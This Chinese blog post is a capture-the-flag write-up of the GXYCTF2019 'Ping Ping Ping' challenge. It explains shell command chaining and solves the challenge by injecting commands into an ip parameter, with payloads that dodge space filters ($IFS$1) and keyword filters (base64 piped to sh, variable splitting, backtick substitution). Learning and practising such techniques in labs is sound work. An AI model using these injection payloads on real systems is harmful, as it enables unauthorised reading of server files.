首页 > 其他分享 >[GXYCTF2019]Ping Ping Ping 1

[GXYCTF2019]Ping Ping Ping 1

时间:2024-01-10 18:00:39浏览次数:27  
标签:IFS 符号 Ping cat 命令 flag GXYCTF2019

[GXYCTF2019]Ping Ping Ping 1

审题

  1. 由标题和内容,我们可以想到Linux的命令执行

  2. 并且由内容/?ip=,看出用GET注入ip变量来读取flag

    image-20240110114925168

知识点

Linux的命令执行,空格的绕过

知识点详解

在Linux中,竖线符号 "|" 和分号符号 ";" 具有不同的作用。

  1. 竖线符号 "|" (管道符号): 在Linux命令行中,竖线符号 "|" 用于将一个命令的输出作为另一个命令的输入。通过使用管道符号,可以将多个命令连接起来,实现数据流的传递和处理。

    例如:

command1 | command2

这将会将 command1 的输出作为 command2 的输入,从而实现两个命令之间的数据传递和处理。

管道符号的作用是实现命令的组合和协作,常用于对命令的输出进行过滤、排序、统计等操作。

分号符号 ";" : 在Linux命令行中,分号符号 ";" 用于分隔多个命令,使它们依次执行。

例如:

  1. command1 ; command2 ; command3
    

    这将会按照顺序执行 command1command2command3,每个命令之间使用分号进行分隔。

    分号符号的作用是允许在一行命令中连续执行多个命令,无论前一个命令是否成功执行,都会继续执行后续的命令。

需要注意的是,在使用这些符号时,应根据具体的需求和命令语法进行正确的使用,以确保命令的执行效果符合预期。

空格被过滤时

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

解题

  1. 先使用127.0.0.1判断回显是否正常

image-20240110171248325

  1. 使用Linux命令,查看当前目录下的所有文件

image-20240110171348672

  1. 使用cat命令抓取flag

image-20240110171536217

  1. 发现空格被过滤后,绕过空格,经过尝试使用$IFS$1绕过,但又发现flag被过滤。

image-20240110171734141

  1. 绕过flag有几种方法

一,base64绕过

cat flag.php通过base64加密后可以构造出

echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh

执行后查看源码得到答案。

二,shell定义变量

因为题目过滤了flag所以将ag用一个变量代替可以绕过

1;b=ag;cat$IFS$1fl$b.php

同样查看源码得到答案

三,在shell中``中的返回值会被当成命令执行

1;cat$IFS$1`ls`

所以上面的命令可以看成,cat出当前目录的所有文件。

就是,cat flag.php和index.php,得到flag。

image-20240110173140016

标签:IFS,符号,Ping,cat,命令,flag,GXYCTF2019
From: https://www.cnblogs.com/follycat/p/17957047

相关文章

  • springMVC的常见注解,以及注解的作用。@Controller,@RestController,@RequestMapping,@
    目录注:使用注解,必须要开启注解包扫描1.@Controller2.@RequestMapping3.@PathVariable4.@RequestParam5.@RequestHeader6.@CookieValue7.@RequestBody该注解的作用8.@ResponseBody9.@RestController注:使用注解,必须要开启注解包扫描在MVC核心配置中开启注解包扫描<!--  配置包......
  • Win10、Win11电脑之间无法ping通
    Win10、Win11电脑之间无法ping通要达到的效果简单解决方法1点击“防火墙和网络保护”2点击“允许应用通过防火墙”3点击“更改设置”按钮4向下拉动右侧滚动条,找到“文件和打印机共享”,“专用”和“公用”的两个复选框都选中【实测:只选择“公用”即可】......
  • ESXi 限制源地址 Ping 或者禁用 Ping?通过配置静态路由变通实现
    ESXi限制源地址Ping或者禁用Ping?通过配置静态路由变通实现ESXi防火墙可以限制源地址访问特定服务,比如SSH、vSphereClient等,但是无法定制ICMP规则,默认是允许,也无法禁用。但是可以通过路由的配置进行变通处理。首先,ESXivmkernel端口不要配置默认网关(或者配置后删除),即管理......
  • 【北亚服务器数据恢复】san环境下LUN Mapping出错导致文件系统一致性出错的数据恢复案
     服务器数据恢复环境:san环境下的存储上一组由6块硬盘组建的RAID6,划分为若干LUN,MAP到跑不同业务的服务器上,服务器上层是SOLARIS操作系统+UFS文件系统。服务器故障:业务需求需要增加一台服务器跑新增的应用,工作人员在原服务器在线的状态下将其中一个lun映射到一台新服务器上。实际......
  • pingxx支付渠道
     upacp_b2b  银联企业网银支付(银联B2BPC网页支付)cp_b2b  银联电子企业网银支付(银联电子B2BPC网页支付) 支付渠道属性值 channel属性值支付渠道名称alipay支付宝App支付alipay_wap支付宝手机网站支付alipay_qr支付宝扫码支付alipay_sca......
  • 蛋疼的mysql_ping()以及MYSQL_OPT_RECONNECT(转)
    From: https://www.felix021.com/blog/read.php?2102昨天@Zind同学找到我之前的一篇blog(已经修改),里面提到了mysql_ping和MYSQL_OPT_RECONNECT的一些事情。之所以写那篇blog,是因为去年写的一些代码遇到了“2006:MySQLserverhasgoneaway”错误。这个问题是因为wait_timeout......
  • Ping不通问题解决 windows 查看对端MAC地址 ARP -a
    Ping不通问题解决   Linux查看ARP信息指南(linux查看arp) ARP(地址解析协议)是TCP/IP协议提供的网络层协议,通过ARP可以查看网络层面上当前可连接的本地网络内每个主机的MAC地址。 ##查看系统的ARP信息 Linux系统中查看ARP信息的方法有很多,下面简单介绍几种常见的查......
  • nested exception is org.apache.ibatis.type.TypeException: Could not set paramete
    org.mybatis.spring.MyBatisSystemException:nestedexceptionisorg.apache.ibatis.type.TypeException:Couldnotsetparametersformapping:ParameterMapping{property='name',mode=IN,javaType=classjava.lang.String,jdbcType=null,numericScale=nu......
  • Spingboot整合Dubbo+zookeeper
    前言:2023-12-2619:38:05最近学习分布式技术:Dubbo+zookeeper,准备写一个demo用springboot整合dubbo和zookeeper。但是看了网上一些教程都是几年前的,试着跟着写了几个demo没一个跑起来,基本是maven依赖方面的问题。版本信息:springboot:2.7.6Dubbo:2.7.3zookeeper:3.8.0jd......
  • What do you think of Crazy Shopping on Novermber?
    WhatdoyouthinkofCrazyShoppingonNovermber? AsanAIlanguagemodel,IdonothavepersonalopinionsorfeelingsaboutshoppingonNovemberoranyothertimeoftheyear.However,Icanprovidesomegeneralinformationandtipsaboutshoppingduring......